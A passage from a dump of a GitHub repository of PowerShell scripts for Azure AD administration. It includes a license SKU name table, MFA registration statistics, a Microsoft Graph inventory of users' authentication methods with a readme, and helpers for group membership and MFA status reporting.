"ENTERPRISEPACK" = "16" 30 | "ENTERPRISEPREMIUM" = "32" 31 | "IDENTITY_THREAT_PROTECTION" = "64" 32 | "FLOW_FREE" = "128" 33 | } 34 | 35 | 36 | $Skutable = @{ 37 | "O365_BUSINESS_ESSENTIALS" = "Office 365 Business Essentials" 38 | "O365_BUSINESS_PREMIUM" = "Office 365 Business Premium" 39 | "DESKLESSPACK" = "Office 365 (Plan K1)" 40 | "DESKLESSWOFFPACK" = "Office 365 (Plan K2)" 41 | "LITEPACK" = "Office 365 (Plan P1)" 42 | "EXCHANGESTANDARD" = "Office 365 Exchange Online Only" 43 | "STANDARDPACK" = "Office 365 Enterprise Plan E1" 44 | "STANDARDWOFFPACK" = "Office 365 (Plan E2)" 45 | "ENTERPRISEPACK" = "Office 365 Enterprise Plan E3" 46 | "ENTERPRISEPACKLRG" = "Enterprise Plan E3" 47 | "ENTERPRISEWITHSCAL" = "Enterprise Plan E4" 48 | "STANDARDPACK_STUDENT" = "Office 365 (Plan A1) for Students" 49 | "STANDARDWOFFPACKPACK_STUDENT" = "Office 365 (Plan A2) for Students" 50 | "ENTERPRISEPACK_STUDENT" = "Office 365 (Plan A3) for Students" 51 | "ENTERPRISEWITHSCAL_STUDENT" = "Office 365 (Plan A4) for Students" 52 | "STANDARDPACK_FACULTY" = "Office 365 (Plan A1) for Faculty" 53 | "STANDARDWOFFPACKPACK_FACULTY" = "Office 365 (Plan A2) for Faculty" 54 | "ENTERPRISEPACK_FACULTY" = "Office 365 (Plan A3) for Faculty" 55 | "ENTERPRISEWITHSCAL_FACULTY" = "Office 365 (Plan A4) for Faculty" 56 | "ENTERPRISEPACK_B_PILOT" = "Office 365 (Enterprise Preview)" 57 | "STANDARD_B_PILOT" = "Office 365 (Small Business Preview)" 58 | "VISIOCLIENT" = "Visio Pro Online" 59 | "POWER_BI_ADDON" = "Office 365 Power BI Addon" 60 | "POWER_BI_INDIVIDUAL_USE" = "Power BI Individual User" 61 | "POWER_BI_STANDALONE" = "Power BI Stand Alone" 62 | "POWER_BI_STANDARD" = "Power-BI Standard" 63 | "PROJECTESSENTIALS" = "Project Lite" 64 | "PROJECTCLIENT" = "Project Professional" 65 | "PROJECTONLINE_PLAN_1" = "Project Online" 66 | "PROJECTONLINE_PLAN_2" = "Project Online and PRO" 67 | "ProjectPremium" = "Project Online Premium" 68 | "ECAL_SERVICES" = "ECAL" 69 | "EMS" = "ENTERPRISE MOBILITY + SECURITY E3" 70 | "RIGHTSMANAGEMENT_ADHOC" = "Windows Azure Rights Management" 71 | "MCOMEETADV" = "PSTN conferencing" 72 | "SHAREPOINTSTORAGE" = "SharePoint storage" 73 | "PLANNERSTANDALONE" = "Planner Standalone" 74 | "CRMIUR" = "CMRIUR" 75 | "BI_AZURE_P1" = "Power BI Reporting and Analytics" 76 | "INTUNE_A" = "Windows Intune Plan A" 77 | "PROJECTWORKMANAGEMENT" = "Office 365 Planner Preview" 78 | "ATP_ENTERPRISE" = "Exchange Online Advanced Threat Protection" 79 | "EQUIVIO_ANALYTICS" = "Office 365 Advanced eDiscovery" 80 | "AAD_BASIC" = "Azure Active Directory Basic" 81 | "RMS_S_ENTERPRISE" = "Azure Active Directory Rights Management" 82 | "AAD_PREMIUM" = "Azure Active Directory Premium" 83 | "MFA_PREMIUM" = "Azure Multi-Factor Authentication" 84 | "STANDARDPACK_GOV" = "Microsoft Office 365 (Plan G1) for Government" 85 | "STANDARDWOFFPACK_GOV" = "Microsoft Office 365 (Plan G2) for Government" 86 | "ENTERPRISEPACK_GOV" = "Microsoft Office 365 (Plan G3) for Government" 87 | "ENTERPRISEWITHSCAL_GOV" = "Microsoft Office 365 (Plan G4) for Government" 88 | "DESKLESSPACK_GOV" = "Microsoft Office 365 (Plan K1) for Government" 89 | "ESKLESSWOFFPACK_GOV" = "Microsoft Office 365 (Plan K2) for Government" 90 | "EXCHANGESTANDARD_GOV" = "Microsoft Office 365 Exchange Online (Plan 1) only for Government" 91 | "EXCHANGEENTERPRISE_GOV" = "Microsoft Office 365 Exchange Online (Plan 2) only for Government" 92 | "SHAREPOINTDESKLESS_GOV" = "SharePoint Online Kiosk" 93 | "EXCHANGE_S_DESKLESS_GOV" = "Exchange Kiosk" 94 | "RMS_S_ENTERPRISE_GOV" = "Windows Azure Active Directory Rights Management" 95 | "OFFICESUBSCRIPTION_GOV" = "Office ProPlus" 96 | "MCOSTANDARD_GOV" = "Lync Plan 2G" 97 | "SHAREPOINTWAC_GOV" = "Office Online for Government" 98 | "SHAREPOINTENTERPRISE_GOV" = "SharePoint Plan 2G" 99 | "EXCHANGE_S_ENTERPRISE_GOV" = "Exchange Plan 2G" 100 | "EXCHANGE_S_ARCHIVE_ADDON_GOV" = "Exchange Online Archiving" 101 | "EXCHANGE_S_DESKLESS" = "Exchange Online Kiosk" 102 | "SHAREPOINTDESKLESS" = "SharePoint Online Kiosk" 103 | "SHAREPOINTWAC" = "Office Online" 104 | "YAMMER_ENTERPRISE" = "Yammer Enterprise" 105 | "EXCHANGE_L_STANDARD" = "Exchange Online (Plan 1)" 106 | "MCOLITE" = "Lync Online (Plan 1)" 107 | "SHAREPOINTLITE" = "SharePoint Online (Plan 1)" 108 | "OFFICE_PRO_PLUS_SUBSCRIPTION_SMBIZ" = "Office ProPlus" 109 | "EXCHANGE_S_STANDARD_MIDMARKET" = "Exchange Online (Plan 1)" 110 | "MCOSTANDARD_MIDMARKET" = "Lync Online (Plan 1)" 111 | "SHAREPOINTENTERPRISE_MIDMARKET" = "SharePoint Online (Plan 1)" 112 | "OFFICESUBSCRIPTION" = "Office ProPlus" 113 | "YAMMER_MIDSIZE" = "Yammer" 114 | "DYN365_ENTERPRISE_PLAN1" = "Dynamics 365 Customer Engagement Plan Enterprise Edition" 115 | "ENTERPRISEPREMIUM_NOPSTNCONF" = "Enterprise E5 (without Audio Conferencing)" 116 | "ENTERPRISEPREMIUM" = "Office 365 Enterprise E5 (with Audio Conferencing)" 117 | "MCOSTANDARD" = "Skype for Business Online Standalone Plan 2" 118 | "PROJECT_MADEIRA_PREVIEW_IW_SKU" = "Dynamics 365 for Financials for IWs" 119 | "STANDARDWOFFPACK_IW_STUDENT" = "Office 365 Education for Students" 120 | "STANDARDWOFFPACK_IW_FACULTY" = "Office 365 Education for Faculty" 121 | "EOP_ENTERPRISE_FACULTY" = "Exchange Online Protection for Faculty" 122 | "EXCHANGESTANDARD_STUDENT" = "Exchange Online (Plan 1) for Students" 123 | "OFFICESUBSCRIPTION_STUDENT" = "Office ProPlus Student Benefit" 124 | "STANDARDWOFFPACK_FACULTY" = "Office 365 Education E1 for Faculty" 125 | "STANDARDWOFFPACK_STUDENT" = "Microsoft Office 365 (Plan A2) for Students" 126 | "DYN365_FINANCIALS_BUSINESS_SKU" = "Dynamics 365 for Financials Business Edition" 127 | "DYN365_FINANCIALS_TEAM_MEMBERS_SKU" = "Dynamics 365 for Team Members Business Edition" 128 | "FLOW_FREE" = "Microsoft Flow Free" 129 | "POWER_BI_PRO" = "Power BI Pro" 130 | "O365_BUSINESS" = "Office 365 Business" 131 | "DYN365_ENTERPRISE_SALES" = "Dynamics Office 365 Enterprise Sales" 132 | "RIGHTSMANAGEMENT" = "Rights Management" 133 | "PROJECTPROFESSIONAL" = "Project Professional" 134 | "VISIOONLINE_PLAN1" = "Visio Online Plan 1" 135 | "EXCHANGEENTERPRISE" = "Exchange Online Plan 2" 136 | "DYN365_ENTERPRISE_P1_IW" = "Dynamics 365 P1 Trial for Information Workers" 137 | "DYN365_ENTERPRISE_TEAM_MEMBERS" = "Dynamics 365 For Team Members Enterprise Edition" 138 | "CRMSTANDARD" = "Microsoft Dynamics CRM Online Professional" 139 | "EXCHANGEARCHIVE_ADDON" = "Exchange Online Archiving For Exchange Online" 140 | "EXCHANGEDESKLESS" = "Exchange Online Kiosk" 141 | "SPZA_IW" = "App Connect" 142 | "WINDOWS_STORE" = "Windows Store for Business" 143 | "MCOEV" = "Microsoft Phone System" 144 | "VIDEO_INTEROP" = "Polycom Skype Meeting Video Interop for Skype for Business" 145 | "SPE_E5" = "Microsoft 365 E5" 146 | "SPE_E3" = "Microsoft 365 E3" 147 | "ATA" = "Advanced Threat Analytics" 148 | "MCOPSTN2" = "Domestic and International Calling Plan" 149 | "FLOW_P1" = "Microsoft Flow Plan 1" 150 | "FLOW_P2" = "Microsoft Flow Plan 2" 151 | "CRMSTORAGE" = "Microsoft Dynamics CRM Online Additional Storage" 152 | "SMB_APPS" = "Microsoft Business Apps" 153 | "MICROSOFT_BUSINESS_CENTER" = "Microsoft Business Center" 154 | "DYN365_TEAM_MEMBERS" = "Dynamics 365 Team Members" 155 | "STREAM" = "Microsoft Stream Trial" 156 | "EMSPREMIUM" = "ENTERPRISE MOBILITY + SECURITY E5" 157 | "THREAT_INTELLIGENCE" = "Office 365 Advanced Threat Protection (Plan 2)" 158 | "IDENTITY_THREAT_PROTECTION" = "Microsoft 365 E5 Security" 159 | "WIN_DEF_ATP" = "Microsoft Defender Advanced Threat Protection" 160 | } 161 | 162 | <# 163 | # Import all AzureAD User Information 164 | # $UserLicenses = Get-Content -Path "C:\temp\mikron\user_liceneses.csv" | ConvertFrom-Csv 165 | # Add an additional attribute to each record with the SKU band value 166 | $UserLicenses | ForEach{ 167 | $_ | Add-Member -MemberType NoteProperty -Name "SKUsumValue" -Value ($sku_band_value["$($_.SKUName)"]) 168 | $_ | Add-Member -MemberType NoteProperty -Name "SKUFriendlyName" -Value ($Skutable["$($_.SKUName)"]) 169 | } 170 | 171 | #> 172 | 173 | # Get All users and their license information and enrich the data with friendly SKU Names and assign a band value for later processing 174 | 175 | $UserLicences = [System.Collections.Generic.List[Object]]::new() 176 | ForEach ($Sku in $SkuScope) { 177 | Write-host "Processing license holders for" $Sku.SkuPartNumber 178 | $SkuUsers = Get-AzureADUser -All $True | ? {$_.AssignedLicenses -Match $Sku.SkuId} 179 | ForEach ($User in $SkuUsers) { 180 | $Object1 = [PSCustomObject] @{ 181 | User = $User.DisplayName 182 | UPN = $User.UserPrincipalName 183 | ObjectID = $user.ObjectId 184 | Department = $User.Department 185 | Country = $User.Country 186 | SKU = $Sku.SkuId 187 | SKUProductName = ($Skutable["$($Sku.skupartnumber)"]) 188 | SKUName = $Sku.SkuPartNumber 189 | SKUSumValue = ($sku_band_value["$($Sku.SkuPartNumber)"]) 190 | SKUSumNames = $sku_lookup1.Keys | foreach {$sku_lookup1.item(($_ ) -band $value)} 191 | } 192 | $UserLicences.Add($Object1) 193 | } 194 | } 195 | 196 | 197 | # Create a unique user list 198 | $UserReference = $UserLicences | Select-Object UPN -Unique 199 | $TotalUsers = $UserReference.Count 200 | 201 | # Preparing Details 202 | Write-Output "Preparing details" 203 | $Report = [System.Collections.Generic.List[Object]]::new() 204 | $count = 0 205 | ForEach($user in $UserReference) 206 | { 207 | Write-Output "Processing $count / $TotalUsers" 208 | $alluserskus = $null 209 | # Get all SKUs assigned to this user 210 | $alluserskus = @($UserLicences | Select-Object UPN, SKUName,SKUProductName,SKUSumValue |Where-Object {$_.upn -eq $user.UPN}) 211 | # Sum the SKU band values 212 | $SKUBandValue = (($alluserskus).SKUSumValue | Measure-Object -Sum).Sum 213 | 214 | $ReportLine = [PSCustomObject][ordered]@{ 215 | UPN = $user.UPN 216 | TotalSKUCount = $alluserskus.Count 217 | SKUBandValue = $SKUBandValue 218 | SKUDetails = $alluserskus 219 | } 220 | $Report.Add($ReportLine) 221 | $count++ 222 | } 223 | 224 | 225 | -------------------------------------------------------------------------------- /AzureAD/MFA/MfaAuthMethodsAnalysisV1/mfastats.ps1: -------------------------------------------------------------------------------- 1 | # run the modified mfa info gathering script stored here 2 | # https://gist.github.com/alexverboon/f8fd3300dcf999e1a5f5554cad05030d 3 | 4 | $mfa = .\MfaAuthMethodsAnalysis.ps1 -TenantId "YOUR TEANANT ID" 5 | $MFA_Inactive = @($MFA | Where-Object {$_.MfaAuthMethodCount -eq 0}) 6 | $MFA_Active = @( $MFA | Where-Object {$_.MfaAuthMethodCount -gt 0}) 7 | $MFA_Inactive_NoLicense = @($MFA | Where-Object {$_.MfaAuthMethodCount -eq 0 -and $_.IsLicensed -eq $False}) 8 | $MFA_Active_NoLicense = @($MFA | Where-Object {$_.MfaAuthMethodCount -gt 0 -and $_.IsLicensed -eq $False}) 9 | $MFA_InActive_HasLicense = @($MFA | Where-Object {$_.MfaAuthMethodCount -eq 0 -and $_.IsLicensed -eq $true}) 10 | $MFA_Active_HasLicense = @($MFA | Where-Object {$_.MfaAuthMethodCount -gt 0 -and $_.IsLicensed -eq $true}) 11 | $MFA_Guests_MFA_Active = @($mfa | Where-Object {$_.UserPrincipalName -like "*#EXT*" -and $_.MfaAuthMethodCount -gt 0 } ) 12 | 13 | $MFAResults = [PSCUSTOMOBJECT][ordered]@{ 14 | MFA_Active = $MFA_Active.Count 15 | MFA_Inactive = $MFA_Inactive.Count 16 | MFA_Inactive_NoLicense = $MFA_Inactive_NoLicense.Count 17 | MFA_Active_NoLicense = $MFA_Active_NoLicense.Count 18 | MFA_InActive_HasLicense = $MFA_InActive_HasLicense.Count 19 | MFA_Active_HasLicense = $MFA_Active_HasLicense.Count 20 | MFA_Guests_Active = $MFA_Guests_MFA_Active.Count 21 | } 22 | 23 | $MFAResults 24 | -------------------------------------------------------------------------------- /AzureAD/MFA/MfaAuthMethodsAnalysisV2/Get-AzureADUserAuthMethodInventory.ps1: -------------------------------------------------------------------------------- 1 |  2 | <#PSScriptInfo 3 | .VERSION 1.0.0 4 | .GUID c1b0b9d0-5fc1-494c-b746-46d8d4543b48 5 | .AUTHOR Alex Verboon 6 | .TAGS AzureAD, Identity, Authentication, MFA 7 | .PROJECTURI "https://github.com/alexverboon/PowerShellCode/tree/main/AzureAD/MFA/MfaAuthMethodsAnalysisV2" 8 | .DESCRIPTION This script retrieves AzureAD User Authentication Method information 9 | .SYNOPSIS This script retrieves AzureAD User Authentication method information. 10 | .EXAMPLE 11 | Connect-Graph -Scopes @("UserAuthenticationMethod.Read.All", "User.Read.All" ) 12 | $AuthInfo = .\Get-AzureADUserAuthMethodInventory.ps1 13 | .NOTES 14 | Author: Alex Verboon 15 | Creation Date: 07.02.2021 16 | Update: 25.04.2022, Updated to work with required modules, adjusted code to reflect graph changes in MgUserAuthenticationMethod return object 17 | #> 18 | #Requires -Modules Microsoft.Graph.Users, Microsoft.Graph.Identity.SignIns 19 | 20 | if ($null -eq $(Get-MgContext)) { 21 | Throw "Authentication needed, call 'Connect-Graph -Scopes @(`"UserAuthenticationMethod.Read.All`",`"User.Read.All`")'." 22 | } 23 | 24 | Try{ 25 | Select-MgProfile -Name Beta 26 | $AllUsers = Get-mguser -all 27 | $AuthInfo = [System.Collections.ArrayList]::new() 28 | ForEach ($user in $allUsers){ 29 | $UserAuthMethod = $null 30 | $UserAuthMethod = Get-MgUserAuthenticationMethod -UserId "$($user.id)" 31 | $object = [PSCustomObject]@{ 32 | userPrincipalName = $user.userPrincipalName 33 | UserType = $user.UserType 34 | AccountEnabled = $user.AccountEnabled 35 | id = $user.id 36 | DisplayName = $user.Displayname 37 | AuthMethods = $UserAuthMethod 38 | AuthMethodsCount = ($UserAuthMethod).count 39 | Phone = If ($UserAuthMethod.additionalproperties.values -match "#microsoft.graph.phoneAuthenticationMethod") {"Yes"} Else{"No"} 40 | MicrosoftAuthenticator = If ($UserAuthMethod.additionalproperties.values -match "#microsoft.graph.microsoftAuthenticatorAuthenticationMethod") {"Yes"} Else{"No"} 41 | Email = If ($UserAuthMethod.additionalproperties.values -match "#microsoft.graph.emailAuthenticationMethod") {"Yes"} Else{"No"} 42 | HelloForBusiness = If ($UserAuthMethod.additionalproperties.values -match "#microsoft.graph.windowsHelloForBusinessAuthenticationMethod") {"Yes"} Else{"No"} 43 | fido2 = If ($UserAuthMethod.additionalproperties.values -match "#microsoft.graph.fido2AuthenticationMethod") {"Yes"} Else{"No"} 44 | Password = If ($UserAuthMethod.additionalproperties.values -match "#microsoft.graph.passwordAuthenticationMethod") {"Yes"} Else{"No"} 45 | passwordless = If ($UserAuthMethod.additionalproperties.values -match "#microsoft.graph.passwordlessMicrosoftAuthenticatorAuthenticationMethod") {"Yes"} Else{"No"} 46 | } 47 | [void]$AuthInfo.Add($object) 48 | } 49 | $AuthInfo 50 | } 51 | Catch 52 | { 53 | Write-Error $PSItem 54 | } 55 | -------------------------------------------------------------------------------- /AzureAD/MFA/MfaAuthMethodsAnalysisV2/authmethod01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alexverboon/PowerShellCode/1d9ae558513599bd3a7a542ac80b9473489c9097/AzureAD/MFA/MfaAuthMethodsAnalysisV2/authmethod01.png -------------------------------------------------------------------------------- /AzureAD/MFA/MfaAuthMethodsAnalysisV2/readme.md: -------------------------------------------------------------------------------- 1 | # AzureAD - User Authentication Method Inventory 2 | 3 | ## Install Prerequisites 4 | 5 | This script uses Microsoft Graph PowerShell modules 6 | 7 | ```powershell 8 | find-module -name "Microsoft.graph" | Install-module -Scope CurrentUser 9 | find-module -name "Microsoft.Graph.Identity.SignIns" | Install-module -Scope CurrentUser 10 | ``` 11 | 12 | ## Connect to Graph 13 | 14 | ```powershell 15 | Connect-Graph -Scopes @("UserAuthenticationMethod.Read.All", "User.Read.All" ) 16 | ``` 17 | 18 | ## Collect AzureAD User Authentication Method information 19 | 20 | ```powershell 21 | $Authinfo = .\Get-AzureADUserAuthMethodInventory.ps1 22 | ``` 23 | 24 | ***Output*** 25 | ```powershell 26 | userPrincipalName : john.doe@contoso.com 27 | UserType : Member 28 | AccountEnabled : True 29 | id : e252875e-8d27-434g-b5e1-32521c11fd25 30 | DisplayName : John Doe 31 | AuthMethods : {Microsoft.Graph.PowerShell.Models.MicrosoftGraphAuthenticationMethod, 32 | Microsoft.Graph.PowerShell.Models.MicrosoftGraphAuthenticationMethod, 33 | Microsoft.Graph.PowerShell.Models.MicrosoftGraphAuthenticationMethod} 34 | AuthMethodsCount : 3 35 | Phone : Yes 36 | MicrosoftAuthenticator : No 37 | Email : Yes 38 | HelloForBusiness : No 39 | fido2 : No 40 | Password : Yes 41 | passwordless : No 42 | 43 | userPrincipalName : john.doe@contoso.com 44 | UserType : Member 45 | AccountEnabled : True 46 | id : f481026c-43f5-4c39-9b16-af50faf79c61 47 | DisplayName : John Doe 48 | AuthMethods : {Microsoft.Graph.PowerShell.Models.MicrosoftGraphAuthenticationMethod, 49 | Microsoft.Graph.PowerShell.Models.MicrosoftGraphAuthenticationMethod, 50 | Microsoft.Graph.PowerShell.Models.MicrosoftGraphAuthenticationMethod} 51 | AuthMethodsCount : 3 52 | Phone : No 53 | MicrosoftAuthenticator : Yes 54 | Email : No 55 | HelloForBusiness : Yes 56 | fido2 : No 57 | Password : Yes 58 | passwordless : No 59 | 60 | ``` 61 | 62 | -------------------------------------------------------------------------------- /AzureAD/MFA/OldStuff/Add-mUserToGroup.ps1: -------------------------------------------------------------------------------- 1 |  2 | function Add-mUserToGroup 3 | { 4 | <# 5 | .Synopsis 6 | Add-mUserToGroup 7 | .DESCRIPTION 8 | Add-mUserToGroup adds one or more Active Directory users from an input file to the specified 9 | Active Directory group. 10 | 11 | .PARAMETER InputFile 12 | A txt input file that contains a list of users in the format of the users UserPrincipalName 13 | 14 | john.monroe@company.com 15 | jane.keen@company.com 16 | tom.wayne@company.com 17 | 18 | .PARAMETER UserPrincipalName 19 | The UserPrincipalName of the user to add to the group. User this cmdlet to add a single user to a group 20 | without using an input file 21 | 22 | .PARAMETER Group 23 | The Active Directory Group to add users 24 | 25 | .EXAMPLE 26 | Add-mUserToGroup -InputFile c:\data\userlist.txt -Group MTG_MFA_ROLLOUT_TEST 27 | 28 | The above command reads the userprincipalnames from the userlist.txt and adds 29 | each user into the Active Directory group MTG_MFA_ROLLOUT_TEST 30 | 31 | .EXAMPLE 32 | Add-mUserToGroup -UserPrincipalName jane@verboon.org -Group MTG_MFA_ROLLOUT_TEST 33 | 34 | The above command adds jane to the specified group 35 | 36 | .EXAMPLE 37 | Add-mUserToGroup -InputFile c:\data\userlist.txt -Group MTG_MFA_ROLLOUT_TEST -whatif 38 | 39 | The above command only shows the users that would be added, but does not perform the 40 | actual task of adding users to the specified group. 41 | 42 | .NOTES 43 | v1.0, 01.04.2020, Alex Verboon 44 | #> 45 | [CmdletBinding(DefaultParameterSetName='Parameter Set 1', 46 | SupportsShouldProcess=$true, 47 | ConfirmImpact='Medium')] 48 | Param 49 | ( 50 | # Input file with list of users (UserPrincipalName) 51 | [Parameter(Mandatory=$true, 52 | Position=0, 53 | ParameterSetName='InputFile')] 54 | [ValidateNotNullOrEmpty()] 55 | [string]$InputFile, 56 | 57 | # Active Directory User 58 | [Parameter(Mandatory=$true, 59 | Position=0, 60 | ParameterSetName='User')] 61 | [ValidateNotNullOrEmpty()] 62 | [string]$UserPrincipalName, 63 | 64 | # Active Directory Group 65 | [Parameter(Mandatory=$true, 66 | Position=1)] 67 | [ValidateNotNullOrEmpty()] 68 | [string]$Group 69 | ) 70 | 71 | Begin 72 | { 73 | $UserList = $null 74 | 75 | 76 | 77 | 78 | # Check if input file is valid 79 | If($InputFile) 80 | { 81 | If (Test-Path -Path $InputFile -PathType Leaf) 82 | { 83 | $UserList = Get-Content -Path $InputFile 84 | Write-Verbose "InputFile: $InputFile" 85 | } 86 | Else 87 | { 88 | Write-Error "Specified file $InputFile does not exist" 89 | Break 90 | } 91 | } 92 | ElseIf($UserPrincipalName) 93 | { 94 | 95 | Write-Verbose "Check if user exists" 96 | $ADUser = @(Get-ADUser -Filter "UserPrincipalName -eq '$UserPrincipalName'" -Properties * -ErrorAction Stop) 97 | If ([string]::IsNullOrEmpty($ADUser)) 98 | { 99 | Write-Error "User: $UserPrincipalName does not exist" 100 | } 101 | Else 102 | { 103 | $UserList = @($UserPrincipalName) 104 | Write-Verbose "AD User: $UserPrincipalName" 105 | } 106 | } 107 | 108 | 109 | 110 | 111 | 112 | 113 | If ($Group) 114 | { 115 | Try{ 116 | $ADGroup = Get-ADGroup -Identity "$Group" -ErrorAction stop 117 | Write-Verbose "AD Group: $Group" 118 | } 119 | Catch{ 120 | Write-Error "Group $Group does not exist" 121 | Break 122 | } 123 | } 124 | } 125 | Process 126 | { 127 | ForEach ($user in $UserList) 128 | { 129 | Write-Verbose "Processing user $user" 130 | if ($pscmdlet.ShouldProcess("$User", "Adding user to group $Group")) 131 | { 132 | $UserToAdd = Get-ADUser -Filter "UserPrincipalName -eq '$user'" 133 | If([string]::IsNullOrEmpty($UserToAdd)) 134 | { 135 | Write-Warning "User $user not found" 136 | } 137 | Else 138 | { 139 | Add-ADGroupMember -Identity $ADGroup -Members $UserToAdd 140 | } 141 | } 142 | } 143 | } 144 | End 145 | { 146 | 147 | } 148 | } 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | -------------------------------------------------------------------------------- /AzureAD/MFA/OldStuff/Get-AzMFADeploymentStats.ps1: -------------------------------------------------------------------------------- 1 |  2 | function Get-AzMFADeploymentStats 3 | <# 4 | .Synopsis 5 | Get-AzMFADeploymentStats 6 | .DESCRIPTION 7 | Get-AzMFADeploymentStats retrieves the MFA registration information from all users in the 8 | Tenant and summarizes the results by MFA Authentication mode. 9 | .EXAMPLE 10 | Get-AzMFADeploymentStats 11 | .NOTES 12 | v1.0, 17.03.2020, Alex Verboon, initial version 13 | #> 14 | 15 | { 16 | [CmdletBinding()] 17 | Param 18 | ( 19 | 20 | ) 21 | 22 | Begin 23 | { 24 | If (Test-Path -Path "$PSScriptRoot\Get-AzMFAStatus.ps1" -PathType Leaf) 25 | { 26 | . "$PSScriptRoot\Get-AzMFAStatus.ps1" 27 | } 28 | Else 29 | { 30 | Write-Error "Script: $PSScriptRoot\Get-AzMFAStatus.ps1 not found" 31 | # you find me on github 32 | } 33 | } 34 | Process 35 | { 36 | 37 | 38 | Write-verbose "Retrieve all users from the tenant includig their MFA registration information" 39 | $AllUsers = Get-AzMFAStatus -Verbose 40 | $MFARegisteredUsers = $AllUsers | Where-Object {$_.OneWaySMSIsDefault -like 'True' -or $_.PhoneAppNotificationIsDefault -like "True" -or $_.PhoneAppOTPIsDefault -like "True" -or $_.TwoWayVoiceMobileIsDefault -like 'True' -or $_.authemail -notlike "" -or $_.AuthPoneNumber -notlike "" -or $_.AuthAltPhone -notlike ""} 41 | 42 | Write-Verbose "Users with SMS As Default" 43 | $Total_OneWaySMSIsDefault = $MFARegisteredUsers | Where-Object {$_.OneWaySMS -like 'True'-and $_.OneWaySMSIsDefault -like 'True'} 44 | #$Total_OneWaySMSIsDefault.count 45 | 46 | write-verbose "PhoneAppNotification As Default" 47 | $Total_PhoneAppNotificationIsDefault = $MFARegisteredUsers | Where-Object {$_.PhoneAppNotification -like 'True' -and $_.PhoneAppNotificationIsDefault -like 'True'} 48 | #$Total_PhoneAppNotificationIsDefault.count 49 | 50 | Write-verbose "PhoneAppOTP As Default" 51 | $Total_PhoneAppOTPIsDefault = $MFARegisteredUsers | Where-Object {$_.PhoneAppOTP -like 'True' -and $_.PhoneAppOTPIsDefault -like 'True'} 52 | #$Total_PhoneAppOTPIsDefault.count 53 | 54 | Write-Verbose "TwoWayVoiceMobileIsDefault As Default" 55 | $Total_TwoWayVoiceMobileIsDefault = $MFARegisteredUsers | Where-Object {$_.TwoWayVoiceMobile -like 'True' -and $_.TwoWayVoiceMobileIsDefault -like 'True'} 56 | #$Total_TwoWayVoiceMobileIsDefault.count 57 | 58 | #write-verbose "Other methods such as auth email, phone number or alternate number" 59 | #$mailphone = $MFARegisteredUsers | Where-Object {$_.authemail -notlike "" -or $_.AuthPoneNumber -notlike "" -or $_.AuthAltPhone -notlike ""} 60 | #$TotaleMail_PhoneOnly = $MFARegisteredUsers | Where-Object {$_.authemail -notlike "" -or $_.AuthPoneNumber -notlike "" -or $_.AuthAltPhone -notlike "" -and $_.OneWaySMSIsDefault -like 'False' -and $_.PhoneAppNotificationIsDefault -like 'False' -and $_.PhoneAppOTPIsDefault -like 'False'} 61 | #$TotaleMail_PhoneOnly.count 62 | 63 | Write-Verbose "Email registratoin only" 64 | $TotaleMailOnly = $MFARegisteredUsers | Where-Object {$_.authemail -notlike "" -and $_.AuthPoneNumber -like "" -and $_.AuthAltPhone -like "" -and $_.OneWaySMSIsDefault -like 'False' -and $_.PhoneAppNotificationIsDefault -like 'False' -and $_.PhoneAppOTPIsDefault -like 'False'} 65 | #$TotaleMailOnly.count 66 | 67 | Write-Verbose "Phone registratoin only" 68 | $TotalPhoneOnly = $MFARegisteredUsers | Where-Object {$_.authemail -like "" -and $_.AuthPoneNumber -notlike "" -and $_.AuthAltPhone -notlike "" -and $_.OneWaySMSIsDefault -like 'False' -and $_.PhoneAppNotificationIsDefault -like 'False' -and $_.PhoneAppOTPIsDefault -like 'False'} 69 | #$TotalPhoneOnly.count 70 | 71 | $object = [PScustomObject][ordered]@{ 72 | TotalUsersInTenant = $AllUsers.Count 73 | TotalUsersMFARegistered = $MFARegisteredUsers.count 74 | TotalUsersNotMFARegistered = $AllUsers.Count - $MFARegisteredUsers.count 75 | TotalOneWaySMSIsDefault = $Total_OneWaySMSIsDefault.count 76 | TotalPhoneAppNotificationIsDefault = $Total_PhoneAppNotificationIsDefault.count 77 | TotalPhoneAppOTPIsDefault = $Total_PhoneAppOTPIsDefault.count 78 | TotalTwoWayVoiceMobileIsDefault = $Total_TwoWayVoiceMobileIsDefault.count 79 | TotaleMailOnly = $TotaleMailOnly.count 80 | TotalPhoneOnly = $TotalPhoneOnly.count 81 | } 82 | 83 | $object 84 | } 85 | End 86 | { 87 | } 88 | } 89 | 90 | -------------------------------------------------------------------------------- /AzureAD/MFA/OldStuff/Get-AzMFAStatus.ps1: -------------------------------------------------------------------------------- 1 | function Get-AzMFAStatus 2 | { 3 | <# 4 | .Synopsis 5 | Get-AzMFAStatus 6 | .DESCRIPTION 7 | Get-AzMFAStatus retrieves Multifactor Authentication configuration informationo 8 | from all registered users within an Azure Active Directory tenant. 9 | 10 | UserPrincipalName : alex@contoso.com 11 | DisplayName : Alex 12 | AuthEmail : alex@fabrikam.com 13 | AuthPhoneNumber : +1 123 456789 14 | PhoneDeviceName : Alex’s iPhone 15 | AuthAltPhone : 16 | PhoneAppNotification : True 17 | PhoneAppNotificationIsDefault : True 18 | PhoneAppOTP : True 19 | PhoneAppOTPnIsDefault : False 20 | TwoWayVoiceMobile : True 21 | TwoWayVoiceMobileIsDefault : False 22 | OneWaySMS : True 23 | OneWaySMSIsDefault : False 24 | .PARAMETER UserPrincipalName 25 | The user ID of the user to retrieve. 26 | .PARAMETER AuthMethod 27 | Using this parameter allows to filter the results for one of the following MFA Authentication method. 28 | PhoneAppNotification 29 | PhoneAppOTP 30 | TwoWayVoiceMobile 31 | OneWaySMS 32 | email 33 | .PARAMETER IsDefault 34 | 35 | Use this parameter in combinaation with parameter AuthMethod to filter the results where the MFA authentication 36 | method is the default. 37 | .PARAMETER State 38 | Using this parameter allows to filter the results for one of the following MFA Authentication states. 39 | 40 | Disabled 41 | Enabled 42 | Enforced 43 | 44 | Note: When using MFA through Conditional Acess, the state always remains Disabled. 45 | 46 | .EXAMPLE 47 | Get-AzMFAStatus 48 | This command retrieves all users within the domain 49 | .EXAMPLE 50 | Get-AzMFAStatus -AuthMethod PhoneAppNotification 51 | This command retrieves all users that have PhoneAppNotification enabled 52 | .EXAMPLE 53 | Get-AzMFAStatus -UserPrincipalName alex@contoso.com 54 | This command lists the MFA configuration settings for the specified user. 55 | .EXAMPLE 56 | Get-AzMFAStatus -State Disabled 57 | This command lists all users that have MFA explicitely enabled. If you use Conditional access and MFA 58 | you should not have any uses that have an MFA 